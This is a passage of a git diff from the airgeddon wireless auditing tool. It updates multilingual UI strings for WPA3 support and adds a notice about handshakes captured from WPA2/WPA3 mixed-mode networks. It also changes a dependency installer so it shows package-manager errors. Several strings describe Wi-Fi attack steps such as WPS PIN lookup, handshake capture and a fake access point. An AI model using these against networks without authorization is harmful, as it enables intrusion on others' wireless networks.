Başladıktan sonra, durdurmak için [Ctrl+C] tuşlayınız..." - arr["ARABIC",361]="...للإيقاف [Ctrl+C] عند البدء ، اضغط على .WPA/WPA2 تم تفعيل مرشح" + arr["ENGLISH",361]="WPA/WPA2/WPA3 filter enabled in scan. When started, press [Ctrl+C] to stop..." + arr["SPANISH",361]="Filtro WPA/WPA2/WPA3 activado en escaneo. Una vez empezado, pulse [Ctrl+C] para pararlo..." + arr["FRENCH",361]="Le filtre WPA/WPA2/WPA3 est activé dans la scan. Une fois l'opération lancée, veuillez presser [Ctrl+C] pour l'arrêter..." + arr["CATALAN",361]="Filtre WPA/WPA2/WPA3 activat en escaneig. Una vegada iniciat, polsi [Ctrl+C] per detenir-ho..." + arr["PORTUGUESE",361]="Filtro WPA/WPA2/WPA3 ativo na busca de redes wifi. Uma vez iniciado, pressione [Ctrl+C] para pará-lo..." + arr["RUSSIAN",361]="Для сканирования включен фильтр WPA/WPA2/WPA3. После запуска, нажмите [Ctrl+C] для остановки..." + arr["GREEK",361]="Το φίλτρο WPA/WPA2/WPA3 ενεργοποιήθηκε κατά τη σάρωση. Όταν αρχίσει, μπορείτε να το σταματήσετε πατώντας [Ctrl+C]..." + arr["ITALIAN",361]="Filtro WPA/WPA2/WPA3 attivato nella scansione. Una volta avviata, premere [Ctrl+C] per fermarla..." + arr["POLISH",361]="Filtr WPA/WPA2/WPA3 aktywowany podczas skanowania. Naciśnij [Ctrl+C] w trakcie trwania, aby zatrzymać..." + arr["GERMAN",361]="WPA/WPA2/WPA3-Filter beim Scannen aktiviert. Nach dem Start, drücken Sie [Ctrl+C], um es zu stoppen..." + arr["TURKISH",361]="WPA/WPA2/WPA3 filtresi aktifleştirildi. Başladıktan sonra, durdurmak için [Ctrl+C] tuşlayınız..." + arr["ARABIC",361]="...للإيقاف [Ctrl+C] عند البدء ، اضغط على .WPA/WPA2/WPA3 تم تفعيل مرشح" arr["ENGLISH",362]="Custom PIN set to \${normal_color}\${custom_pin}" arr["SPANISH",362]="PIN personalizado elegido \${normal_color}\${custom_pin}" @@ -5986,7 +5986,7 @@ function initialize_language_strings() { arr["FRENCH",386]="\${counter_pins_found} PIN possibles selon la base de données" arr["CATALAN",386]="S'han trobat \${counter_pins_found} PINs coincidents a la base de dades de PINs" arr["PORTUGUESE",386]="Encontrados \${counter_pins_found} PINs correspondentes no banco de dados" - arr["RUSSIAN",386]="\${counter_pins_found} соответствующих ПИНа были найдены в базе данных PIN" + arr["RUSSIAN",386]="\${counter_pins_found} соответствующих PIN-кода были найдены в базе данных WPS PIN кодов" arr["GREEK",386]="\${counter_pins_found} αντίστοιχα PINs βρέθηκαν στην βάση δεδομένων" arr["ITALIAN",386]="Trovati \${counter_pins_found} PINs coincidenti nella base dati dei PINs" arr["POLISH",386]="Znaleziono \${counter_pins_found} pasujących kodów PIN w bazie danych" @@ -7257,7 +7257,7 @@ function initialize_language_strings() { arr["ENGLISH",484]="Root permissions successfully detected" arr["SPANISH",484]="Permisos de root correctamente detectados" - arr["FRENCH",484]="Autorisation root detectés" + arr["FRENCH",484]="Autorisation root detectée" arr["CATALAN",484]="Permisos de root correctament detectats" arr["PORTUGUESE",484]="Permissões de root detectadas corretamente" arr["RUSSIAN",484]="Успешно определены права root" @@ -7814,18 +7814,18 @@ function initialize_language_strings() { arr["TURKISH",526]="Dizin mevcut değil veya yazma izniniz yok" arr["ARABIC",526]="الدليل غير موجود أو ليس لديك إذن بالكتابة" - arr["ENGLISH",527]="WPA/WPA2 and Enterprise filter enabled. It's not possible to filter Enterprise networks during the scan, the filter will be applied in network selection menu in which only Enterprise networks will be shown. When started, press [Ctrl+C] to stop..." - arr["SPANISH",527]="Filtro WPA/WPA2 y Enterprise activado. Durante el escaneo no es posible filtrar redes Enterprise, el filtro se aplicará en la pantalla de selección de red donde solo se mostrarán redes Enterprise. Una vez empezado, pulse [Ctrl+C] para pararlo..." - arr["FRENCH",527]="Filtre WPA/WPA2 et Enterprise activés. Pendant l'analyse, il n'est pas possible de filtrer les réseaux Enterprise. Le filtre sera appliqué dans l'écran de sélection du réseau où seuls les réseaux Enterprise seront affichés. Une fois commencé, appuyez sur [Ctrl+C] pour l'arrêter..." - arr["CATALAN",527]="Filtre WPA/WPA2 i Enterprise activat. Durant l'escaneig no és possible filtrar xarxes Enterprise, el filtre s'aplicarà a la pantalla de selecció de xarxa on només es mostraran xarxes Enterprise. Un cop començat, premeu [Ctrl+C] per aturar-lo..." - arr["PORTUGUESE",527]="Filtros: WPA/WPA2 e Enterprise ativos. Durante a verificação, não é possível filtrar redes Enterprise, o filtro será aplicado na tela de seleção de rede, onde apenas as redes Enterprise serão exibidas. Uma vez iniciado, pressione [Ctrl+C] para pará-lo..." - arr["RUSSIAN",527]="WPA/WPA2 и фильтр Enterprise включён. Во время сканирования невозможно фильтровать сети Enterprise, фильтр будет применяться в меню выбора сети, в котором будут показаны только сети Enterprise. После запуска для остановки нажмите [Ctrl+C]..." - arr["GREEK",527]="Το WPA/WPA2 και Enterprise φίλτρο είναι ενεργοποιημένο. Δεν είναι δυνατό να φιλτράρετε τα Enterprise δίκτυα κατά τη διάρκεια της σάρωσης, το φίλτρο θα εφαρμοστεί στο μενού επιλογής δικτύου στο οποίο θα εμφανίζονται μόνο τα Enterprise δίκτυα. Όταν ξεκινήσετε, πατήστε [Ctrl+C] για να σταματήσετε..." - arr["ITALIAN",527]="Filtro WPA/WPA2 e Enterprise attivato. Durante la scansione non è possibile filtrare le reti Enterprise, il filtro verrà applicato nella schermata di selezione della rete in cui verranno visualizzate solo le reti Enterprise. Una volta avviato, premi [Ctrl+C] per fermarlo..." - arr["POLISH",527]="Włączone filtry WPA/WPA2 i Enterprise. Nie można filtrować sieci Enterprise podczas skanowania, filtr zostanie zastosowany w menu wyboru sieci, w którym wyświetlane będą tylko sieci Enterprise. Naciśnij w trackie działania [Ctrl+C], aby zatrzymać..." - arr["GERMAN",527]="WPA/WPA2- und Enterprise-Filter aktiviert. Es ist nicht möglich, Enterprise-Netzwerke während des Scans zu filtern. Der Filter wird im Netzwerkauswahlmenü angewendet, in dem nur Enterprise-Netzwerke angezeigt werden. Einmal angefangem, drücken Sie [Ctrl+C], um zu stoppen..." - arr["TURKISH",527]="WPA/WPA2 ve Enterprise filtre etkinleştirildi. Tarama sırasında Enterprise ağları filtrelemek mümkün değildir, filtre yalnızca Enterprise ağların gösterileceği ağ seçim menüsünde uygulanacaktır. Başladığınızda, durdurmak için [Ctrl+C] tuşlarına basın..." - arr["ARABIC",527]="...للإيقاف [Ctrl+C] عند البدء ، اضغط على .فقط Enterprise أثناء الفحص ، سيتم تطبيق عامل التصفية في قائمة اختيار الشبكة حيث سيتم عرض شبكات Enterprise لا يمكن تصفية شبكات .Enterprise و WPA/WPA2 تم تفعيل عامل تصفية " + arr["ENGLISH",527]="WPA/WPA2/WPA3 and Enterprise filter enabled. It's not possible to filter Enterprise networks during the scan, the filter will be applied in network selection menu in which only Enterprise networks will be shown. When started, press [Ctrl+C] to stop..." + arr["SPANISH",527]="Filtro WPA/WPA2/WPA3 y Enterprise activado. Durante el escaneo no es posible filtrar redes Enterprise, el filtro se aplicará en la pantalla de selección de red donde solo se mostrarán redes Enterprise. Una vez empezado, pulse [Ctrl+C] para pararlo..." + arr["FRENCH",527]="Filtre WPA/WPA2/WPA3 et Enterprise activés. Pendant l'analyse, il n'est pas possible de filtrer les réseaux Enterprise. Le filtre sera appliqué dans l'écran de sélection du réseau où seuls les réseaux Enterprise seront affichés. Une fois commencé, appuyez sur [Ctrl+C] pour l'arrêter..." + arr["CATALAN",527]="Filtre WPA/WPA2/WPA3 i Enterprise activat. Durant l'escaneig no és possible filtrar xarxes Enterprise, el filtre s'aplicarà a la pantalla de selecció de xarxa on només es mostraran xarxes Enterprise. Un cop començat, premeu [Ctrl+C] per aturar-lo..." + arr["PORTUGUESE",527]="Filtros: WPA/WPA2/WPA3 e Enterprise ativos. Durante a verificação, não é possível filtrar redes Enterprise, o filtro será aplicado na tela de seleção de rede, onde apenas as redes Enterprise serão exibidas. Uma vez iniciado, pressione [Ctrl+C] para pará-lo..." + arr["RUSSIAN",527]="WPA/WPA2/WPA3 и фильтр Enterprise включён. Во время сканирования невозможно фильтровать сети Enterprise, фильтр будет применяться в меню выбора сети, в котором будут показаны только сети Enterprise. После запуска для остановки нажмите [Ctrl+C]..." + arr["GREEK",527]="Το WPA/WPA2/WPA3 και Enterprise φίλτρο είναι ενεργοποιημένο. Δεν είναι δυνατό να φιλτράρετε τα Enterprise δίκτυα κατά τη διάρκεια της σάρωσης, το φίλτρο θα εφαρμοστεί στο μενού επιλογής δικτύου στο οποίο θα εμφανίζονται μόνο τα Enterprise δίκτυα. Όταν ξεκινήσετε, πατήστε [Ctrl+C] για να σταματήσετε..." + arr["ITALIAN",527]="Filtro WPA/WPA2/WPA3 e Enterprise attivato. Durante la scansione non è possibile filtrare le reti Enterprise, il filtro verrà applicato nella schermata di selezione della rete in cui verranno visualizzate solo le reti Enterprise. Una volta avviato, premi [Ctrl+C] per fermarlo..." + arr["POLISH",527]="Włączone filtry WPA/WPA2/WPA3 i Enterprise. Nie można filtrować sieci Enterprise podczas skanowania, filtr zostanie zastosowany w menu wyboru sieci, w którym wyświetlane będą tylko sieci Enterprise. Naciśnij w trackie działania [Ctrl+C], aby zatrzymać..." + arr["GERMAN",527]="WPA/WPA2/WPA3- und Enterprise-Filter aktiviert. Es ist nicht möglich, Enterprise-Netzwerke während des Scans zu filtern. Der Filter wird im Netzwerkauswahlmenü angewendet, in dem nur Enterprise-Netzwerke angezeigt werden. Einmal angefangem, drücken Sie [Ctrl+C], um zu stoppen..." + arr["TURKISH",527]="WPA/WPA2/WPA3 ve Enterprise filtre etkinleştirildi. Tarama sırasında Enterprise ağları filtrelemek mümkün değildir, filtre yalnızca Enterprise ağların gösterileceği ağ seçim menüsünde uygulanacaktır. Başladığınızda, durdurmak için [Ctrl+C] tuşlarına basın..." + arr["ARABIC",527]="...للإيقاف [Ctrl+C] عند البدء ، اضغط على .فقط Enterprise أثناء الفحص ، سيتم تطبيق عامل التصفية في قائمة اختيار الشبكة حيث سيتم عرض شبكات Enterprise لا يمكن تصفية شبكات .Enterprise و WPA/WPA2/WPA3 تم تفعيل عامل تصفية " arr["ENGLISH",528]="It has been detected that you are running airgeddon inside a Docker container. During this attack hostapd-wpe is used to create a fake AP. This component often conflicts with network-manager. From inside the container, airgeddon can't handle it. If you have network-manager installed on your host machine, close it or kill the conflicting processes or you'll get an error. For more information, see the Docker section of the Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["SPANISH",528]="Se ha detectado que estás ejecutando airgeddon en un contenedor de Docker. En este ataque se utiliza hostapd-wpe para crear un falso AP. Este componente suele dar conflicto con network-manager. Desde el contenedor, airgeddon no puede gestionarlo. Si tienes network-manager instalado en tu máquina host, ciérralo o mata los procesos en conflicto u obtendrás un error. Para más información consulta la sección Docker del Wiki: \${normal_color}\${urlgithub_wiki}/Docker" @@ -10062,6 +10062,19 @@ function initialize_language_strings() { arr["GERMAN",699]="Haben Sie Probleme mit Ihrer WLAN-Karte? Möchten Sie wissen, welche Karte in airgeddon schön benutzt werden könnte? Überprüfen Sie das Wiki: \${normal_color}\${urlgithub_wiki}/Cards%20and%20Chipsets" arr["TURKISH",699]="Kablosuz kartınızda herhangi bir sorun mu var? Airgeddon'da hangi kartın çalışabileceğini bilmek ister misiniz? Wiki'mizi kontrol edin: \${normal_color}\${urlgithub_wiki}/Cards%20and%20Chipsets" arr["ARABIC",699]="\${normal_color}\${urlgithub_wiki}/Cards٪20and٪20Chipsets \${pink_color}:؟ تحقق من الموقعairgeddon هل لديك اي مشكلة مع البطاقة اللاسلكية ؟ هل تريد ان تعرف ما هي البطاقة التي قد تكون لطيفة الاستخدام في" + + arr["ENGLISH",700]="It seems the captured Handshake is not a WPA2 Handshake and therefore is not valid. Probably the network is in WPA2/WPA3 \"Mixed mode\" and the client was using WPA3. Try again or wait until there are clients using WPA2" + arr["SPANISH",700]="Parece que el Handshake capturado no es WPA2 y por tanto no es válido. Probablemente la red está en WPA2/WPA3 \"Mixed mode\" y el cliente estaba usando WPA3. Inténtalo de nuevo o espera hasta que haya clientes que utilicen WPA2" + arr["FRENCH",700]="Il semble que le Handshake capturée n'est pas WPA2, donc il est invalide. Le réseau est probablement en WPA2/WPA3 \"Mixed mode\" et le client utilisait WPA3. Veuillez vous réessayer ou attendre jusqu'à ce qu'il y ait des clients qui utilisent WPA2" + arr["CATALAN",700]="Sembla que el Handshake capturat no és WPA2 i per tant no és vàlid. Probablement la xarxa està en WPA2/WPA3 \"Mixed mode\" i el client estava usant WPA3. Intenta-ho de nou o espera fins que hi hagi clients que utilitzin WPA2" + arr["PORTUGUESE",700]="Parece que o Handshake capturado não é WPA2, ou seja, inválido. A rede provavelmente está em WPA2/WPA3 \"Mixed mode\" e o cliente estava usando WPA3. Por favor, tente novamente ou espere até que haja clientes usando WPA2" + arr["RUSSIAN",700]="Похоже, что захваченный хендшейк не является WPA2 и поэтому недействителен. Вероятно, сеть находится в WPA2/WPA3 \"Mixed mode\" и клиент использует WPA3. Повторите попытку или подождите, пока появятся клиенты, использующие WPA2" + arr["GREEK",700]="Φαίνεται ότι η Χειραψία που καταγράφηκε δεν είναι WPA2 και επομένως δεν είναι έγκυρη. Το δίκτυο είναι πιθανώς σε WPA2/WPA3 \"Mixed mode\" και ο πελάτης χρησιμοποιούσε WPA3. Δοκιμάστε ξανά ή περιμένετε μέχρι να υπάρξουν πελάτες που χρησιμοποιούν WPA2" + arr["ITALIAN",700]="Sembra che l'Handshake catturato non sia WPA2 e quindi non è valido. La rete è probabilmente in WPA2/WPA3 \"Mixed mode\" e il cliente utilizzava WPA3. Riprova o attendi finché non ci sono clienti che utilizzano WPA2" + arr["POLISH",700]="Wygląda na to, że przechwycony Handshake nie jest WPA2 i dlatego jest nieprawidłowy. Sieć jest prawdopodobnie w trybie WPA2/WPA3 \"Mixed mode\", a klient używał WPA3. Spróbuj ponownie lub poczekaj, aż będą podłączeni klienci korzystający z WPA2" + arr["GERMAN",700]="Es scheint, dass der erfasste Handshake nicht ein WPA2-Handshake ist, daher ist es ungültig. Das Netzwerk befindet sich wahrscheinlich im WPA2/WPA3 \"Mixed mode\" und der Client hat WPA3 verwendet. Bitte versuchen Sie es erneut oder warten Sie, bis Clients, die WPA2 verwenden, erscheinen" + arr["TURKISH",700]="Yakalanan Handshake WPA2 olmadığı ve dolayısıyla geçersiz olduğu görülüyor. Ağ muhtemelen WPA2/WPA3 \"Mixed mode\" da ve istemci WPA3 kullanıyordu. Lütfen tekrar deneyin veya WPA2 kullanan istemciler olana kadar bekleyin" + arr["ARABIC",700]="WPA2 يرجى المحاولة مرة أخرى أو الانتظار حتى يتوفر عملاء يستخدمون .WPA3 و كان العميل يستخدم WPA2/WPA3 \"Mixed mode\" و لهذى هي ليست صالحة للاستخدام. ربما تكون الشبكة في WPA2 يبدو ان المصافحة ليست مصافحة " } #Expand escaped variables in language strings with their actual values diff --git a/pindb_checksum.txt b/pindb_checksum.txt index a5412da2b..9ec94fb4e 100644 --- a/pindb_checksum.txt +++ b/pindb_checksum.txt @@ -1 +1 @@ -92472fd7551b2cd2d6c2c6ee36729e1a +c1fa5c816eb13615da9d0d4a2c004159 diff --git a/plugins/missing_dependencies.sh b/plugins/missing_dependencies.sh index 327920d2e..20e144bee 100644 --- a/plugins/missing_dependencies.sh +++ b/plugins/missing_dependencies.sh @@ -140,7 +140,7 @@ function missing_dependencies_text() { arr["RUSSIAN","missing_dependencies_1"]="\${blue_color}Даже при включённой опции \${normal_color}AIRGEDDON_SILENT_CHECKS\${blue_color}, airgeddon с помощью плагина auto install missing dependencies (автоматическая установка отсутствующих зависимостей) обнаружил, что вам не хватает некоторых зависимостей. \${green_color}Вы хотите продолжить автоматическую установку? \${normal_color}\${visual_choice}" arr["GREEK","missing_dependencies_1"]="\${blue_color}Ακόμα και με ενεργοποιημένη την επιλογή \${normal_color}AIRGEDDON_SILENT_CHECKS\${blue_color}, το airgeddon εντόπισε ότι σας λείπουν κάποια dependencies λόγω της αυτόματης εγκατάστασης του missing dependencies plugin. \${green_color}Θέλετε να συνεχίσετε με την αυτόματη εγκατάσταση; \${normal_color}\${visual_choice}" arr["ITALIAN","missing_dependencies_1"]="\${blue_color}Anche con l'opzione abilitata \${normal_color}AIRGEDDON_SILENT_CHECKS\${blue_color} abilitata, a causa del plugin di installazione automatica delle dipendenze, airgeddon ha rilevato che mancano alcune. \${green_color}Vuoi procedere con l'installazione automatica? \${normal_color}\${visual_choice}" - arr["POLISH","missing_dependencies_1"]="\${blue_color}Nawet z włączoną opcją \${normal_color}AIRGEDDON_SILENT_CHECKS\${blue_color} airgeddon wykrył przy pomocy wtyczki automatyczne instalacji brakujących zależności. \${green_color}Chcesz przystąpić do automatycznej instalacji? \${normal_color}\${visual_choice}" + arr["POLISH","missing_dependencies_1"]="\${blue_color}Nawet z włączoną opcją \${normal_color}AIRGEDDON_SILENT_CHECKS\${blue_color} airgeddon wykrył pewne brakujące zależności przy pomocy pluginu automatycznej instalacji. \${green_color}Chcesz przystąpić do automatycznej instalacji? \${normal_color}\${visual_choice}" arr["GERMAN","missing_dependencies_1"]="\${blue_color}Auch wenn die \${normal_color}AIRGEDDON_SILENT_CHECKS\${blue_color} Option aktiviert ist, hat airgeddon bemerkt, dass einige Abhängigkeiten fehlen aufgrund der automatischen Installation fehlenden Abhängigkeiten Plugin. \${green_color}Möchten Sie mit der automatischen Installation fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH","missing_dependencies_1"]="\${normal_color}AIRGEDDON_SILENT_CHECKS\${blue_color} seçeneği etkin olsa bile, airgeddon bağımlılıkları eklentisi eksik nedeniyle otomatik bazı bağımlılıkları eksik olduğunu install algıladı. \${green_color}Otomatik yükleme ile devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC","missing_dependencies_1"]="\${normal_color}\${visual_choice} \${green_color}هل تريد المتابعى ؟ \${normal_color}AIRGEDDON_SILENT_CHECKS\${blue_color} .حتي مع تفعيل التثبيت التلقائى, البرنامج قد اكتشف انك تفتقد بعض التبعيات" @@ -153,7 +153,7 @@ function missing_dependencies_text() { arr["RUSSIAN","missing_dependencies_2"]="\${blue_color}Благодаря плагину auto install missing dependencies (автоматическая установка отсутствующих зависимостей) airgeddon может попытаться установить необходимые недостающие пакеты. \${green_color}Вы хотите продолжить автоматическую установку? \${normal_color}\${visual_choice}" arr["GREEK","missing_dependencies_2"]="\${blue_color}Λόγω της αυτόματης εγκατάστασης του missing dependencies plugin, το airgeddon θα μπορούσε να προσπαθήσει να εγκαταστήσει τα απαραίτητα πακέτα που λείπουν. \${green_color}θέλετε να συνεχίσετε με την αυτόματη εγκατάσταση; \${normal_color}\${visual_choice}" arr["ITALIAN","missing_dependencies_2"]="\${blue_color}A causa del plugin di installazione automatica delle dipendenze, airgeddon potrebbe provare a installare i pacchetti mancanti necessari. \${green_color}Vuoi procedere con l'installazione automatica? \${normal_color}\${visual_choice}" - arr["POLISH","missing_dependencies_2"]="\${blue_color}Z powodu wtyczki automatycznej instalacji zależności airgeddon może spróbować zainstalować niezbędne brakujące pakiety. \${green_color}Chcesz przystąpić do automatycznej instalacji? \${normal_color}\${visual_choice}" + arr["POLISH","missing_dependencies_2"]="\${blue_color}Dzięki pluginowi automatycznej instalacji zależności airgeddon może spróbować zainstalować niezbędne brakujące pakiety. \${green_color}Chcesz przystąpić do automatycznej instalacji? \${normal_color}\${visual_choice}" arr["GERMAN","missing_dependencies_2"]="\${blue_color}Mit dem Auto-Dependency-Installations-Plugin könnte airgeddon versuchen, die erforderlichen fehlenden Pakete zu installieren. \${green_color}Haben sie mit der automatischen installation fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH","missing_dependencies_2"]="\${blue_color}Otomatik bağımlılık yükleme eklentisi nedeniyle, airgeddon gerekli eksik paketleri kurmayı deneyebilir. \${green_color}Otomatik yükleme ile devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC","missing_dependencies_2"]="\${normal_color}\${visual_choice} \${green_color}هل تريد المتابعه؟ \${blue_color}.بسبب امكانية التثبيت التلقائى, البرنامج قد يحاول تثبيت بعض التبعيات المفتقده" @@ -166,7 +166,7 @@ function missing_dependencies_text() { arr["RUSSIAN","missing_dependencies_3"]="Попытка установить пакеты отсутствующих зависимостей. Подождите немного..." arr["GREEK","missing_dependencies_3"]="Τα πακέτα με ελλειπής dependencies προσπαθούν να εγκατασταθούν. Παρακαλώ κάντε υπομονή..." arr["ITALIAN","missing_dependencies_3"]="Si sta cercando di installare le dipendenze dei pacchetti mancanti. Si prega di essere pazienti..." - arr["POLISH","missing_dependencies_3"]="Próbujesz zainstalować pakiety brakujących zależności. Cierpliwości..." + arr["POLISH","missing_dependencies_3"]="Próba instalacji pakietów brakujących zależności. Cierpliwości..." arr["GERMAN","missing_dependencies_3"]="Fehlende Pakete Abhängigkeiten werden installiert. Wir bitten um Geduld..." arr["TURKISH","missing_dependencies_3"]="Eksik paket bağımlılıklarını yüklemek için çalışıyoruz. Lütfen sabırlı olun..." arr["ARABIC","missing_dependencies_3"]="...يرجي النتظار, جارى تثبيت التبعيات المفقوده" @@ -192,7 +192,7 @@ function missing_dependencies_text() { arr["RUSSIAN","missing_dependencies_5"]="Произошла ошибка при попытке установить зависимости. Это может быть связано с несколькими причинами. Убедитесь, что подключение к Интернету работает. Во всяком случае, вы установили все инструменты необходимые для базовой работы. Вам будут недоступны только некоторые функции" arr["GREEK","missing_dependencies_5"]="Παρουσιάστηκε σφάλμα κατά την προσπάθεια για την εγκατάσταση των dependencies. Αυτό μπορεί να οφείλεται σε πολλές αιτίες. Βεβαιωθείτε ότι η σύνδεσή σας στο internet λειτουργεί. Τέλος πάντων, έχετε εγκαταστήσει όλα τα απαραίτητα εργαλεία ώστε να μπορείτε να συνεχίσετε. Θα χάσετε μόνο μερικά features" arr["ITALIAN","missing_dependencies_5"]="Si è verificato un errore durante il tentativo di installare le dipendenze. Ciò può essere dovuto a molteplici cause. Assicurarsi che la connessione a internet stia funzionando. In ogni caso, sono stati installati tutti gli strumenti essenziali in modo da poter continuare. Solo non potrai usare alcune funzionalità" - arr["POLISH","missing_dependencies_5"]="Wystąpił błąd podczas próby zainstalowania zależności. Może to być spowodowane wieloma przyczynami. Upewnij się, że połączenie internetowe działa. W każdym razie masz zainstalowane wszystkie niezbędne narzędzia, dzięki czemu można kontynuować. będziesz tęsknił tylko niektóre funkcje" + arr["POLISH","missing_dependencies_5"]="Wystąpił błąd podczas próby zainstalowania zależności. Może to być spowodowane wieloma przyczynami. Upewnij się, że połączenie internetowe działa. W każdym razie masz zainstalowane wszystkie niezbędne narzędzia, dzięki czemu można kontynuować. Będzie brakowało tylko niektórych funkcji" arr["GERMAN","missing_dependencies_5"]="Fehler beim Versuch, Abhängigkeiten zu installieren. Dies kann mehrere Ursachen haben. Stellen Sie sicher, dass Ihre internetverbindung funktioniert. Doch Sie haben alle wichtigen Tools installiert, mit denen Sie fortfahren können. Sie vermissen nur einige Features" arr["TURKISH","missing_dependencies_5"]="Eksik paket bağımlılıklarını yüklemeye çalışırken bir hata oluştu. Bu farklı nedenlere bağlı olabilir. İnternet bağlantısının çalıştığından emin olun. Neyse, tüm gerekli araçları yüklediniz. Yalnızca bazı özellikler eksik" arr["ARABIC","missing_dependencies_5"]="وجد خطء خلال تثبيت التبعيات و هذا الخطء غير محدد. يرجي التأكد من الاتصال بالانترنت. علي اي حال, لقد تم تثبيت كل الادوات الاساسية و يمكنك المتابعة لكن بعض عناصر البرنامج قد تكون غير متاحة" @@ -209,6 +209,19 @@ function missing_dependencies_text() { arr["GERMAN","missing_dependencies_6"]="Fehler beim Versuch, Abhängigkeiten zu installieren. Dies kann mehrere Ursachen haben. Stellen Sie sicher, dass Ihre internetverbindung funktioniert. Script kann wegen des Fehlens einiger wichtiger Tools nicht mehr weitermachen" arr["TURKISH","missing_dependencies_6"]="Eksik paket bağımlılıklarını yüklemeye çalışırken bir hata oluştu. Bu farklı nedenlere bağlı olabilir. İnternet bağlantısının çalıştığından emin olun. Script bazı temel araçların eksikliği nedeniyle devam edemiyor" arr["ARABIC","missing_dependencies_6"]="وجد خطء خلال تثبيت التبعيات و هذا الخطء غير محدد. يرجي التأكد من الاتصال بالانترنت. لن تستطيع المتابعة لانك تفتقد بعض الادوات الاساسية" + + arr["ENGLISH","missing_dependencies_7"]="Do you want to see the output of the error occurred while updating? \${blue_color}Maybe this way you might find the root cause of the problem \${normal_color}\${visual_choice}" + arr["SPANISH","missing_dependencies_7"]="¿Quieres ver la salida del error que dio al actualizar? \${blue_color}De esta manera puede que averigües cuál fue el origen del problema \${normal_color}\${visual_choice}" + arr["FRENCH","missing_dependencies_7"]="Voulez-vous voir le résultat de l'erreur survenue lors de l'actualisation? \${blue_color}Peut-être de cette façon vous pourriez trouver la cause principale du problème \${normal_color}\${visual_choice}" + arr["CATALAN","missing_dependencies_7"]="Voleu veure la sortida de l'error durant l'actualització? \${blue_color}Potser així trobareu la causa principal del problema \${normal_color}\${visual_choice}" + arr["PORTUGUESE","missing_dependencies_7"]="Deseja ver o erro ocorrido durante a atualização? \${blue_color}Talvez assim você possa encontrar a causa raiz do problema \${normal_color}\${visual_choice}" + arr["RUSSIAN","missing_dependencies_7"]="Хотите ли Вы увидеть информацию об ошибке, возникшей при обновлении? \${blue_color}Возможно, таким образом Вам удастся установить причину проблемы \${normal_color}\${visual_choice}" + arr["GREEK","missing_dependencies_7"]="Θέλετε να δείτε την έξοδο του σφάλματος που παρουσιάστηκε κατά την ενημέρωση; \${blue_color}Ίσως με αυτόν τον τρόπο να βρείτε τη βασική αιτία του προβλήματος \${normal_color}\${visual_choice}" + arr["ITALIAN","missing_dependencies_7"]="Vuoi vedere l'output dell'errore che si è verificato durante l'aggiornamento? \${blue_color}Forse in questo modo potresti scoprire la causa del problema \${normal_color}\${visual_choice}" + arr["POLISH","missing_dependencies_7"]="Czy chcesz zobaczyć dane wyjściowe błędu, który wystąpił podczas aktualizacji? \${blue_color}Możesz w ten sposób możesz znaleźć przyczynę problemu \${normal_color}\${visual_choice}" + arr["GERMAN","missing_dependencies_7"]="Möchten Sie die Ausgabe des Fehlers sehen, der beim Aktualisieren aufgetreten ist? \${blue_color}Vielleicht finden Sie auf dieser Weise die Ursache des Problems \${normal_color}\${visual_choice}" + arr["TURKISH","missing_dependencies_7"]="Güncelleme sırasında oluşan hatanın çıktısını görmek ister misiniz? \${blue_color}Belki bu şekilde sorununun temel nedenini bulabilirsiniz \${normal_color}\${visual_choice}" + arr["ARABIC","missing_dependencies_7"]="\${normal_color}\${visual_choice} \${blue_color}ربما بهذه الطريقة قد تجد السبب الاساسي للمشكلة \${green_color}هل تريد تري ناتج الخطأ الذي حدث أثناء التحديث؟" } #Posthook for check_compatibity function to install missing dependencies @@ -266,21 +279,28 @@ function missing_dependencies_posthook_check_compatibility() { echo local resultok=1 + local update_output="" case "${distro}" in "Kali"|"Parrot") if [ -n "${missing_packages_string_clean}" ]; then - if ! apt update > /dev/null 2>&1; then + if ! update_output=$(apt update 2>&1); then resultok=0 else - if ! apt -y install ${missing_packages_string_clean} > /dev/null 2>&1; then + if ! update_output+=$(apt -y install ${missing_packages_string_clean} 2>&1); then resultok=0 fi fi fi ;; "BlackArch") - if ! pacman -Sy > /dev/null 2>&1 && pacman --noconfirm -S ${missing_packages_string_clean} > /dev/null 2>&1; then - resultok=0 + if [ -n "${missing_packages_string_clean}" ]; then + if ! update_output=$(pacman -Sy 2>&1); then + resultok=0 + else + if ! update_output+=$(pacman --noconfirm -S ${missing_packages_string_clean} 2>&1); then + resultok=0 + fi + fi fi ;; esac @@ -297,7 +317,15 @@ function missing_dependencies_posthook_check_compatibility() { language_strings "${language}" "missing_dependencies_5" "yellow" else language_strings "${language}" "missing_dependencies_6" "red" - language_strings "${language}" 115 "read" + fi + + ask_yesno "missing_dependencies_7" "yes" + if [ "${yesno}" = "y" ]; then + echo "${update_output}" + echo + if [ ${compatible} -eq 0 ]; then + language_strings "${language}" 115 "read" + fi fi fi else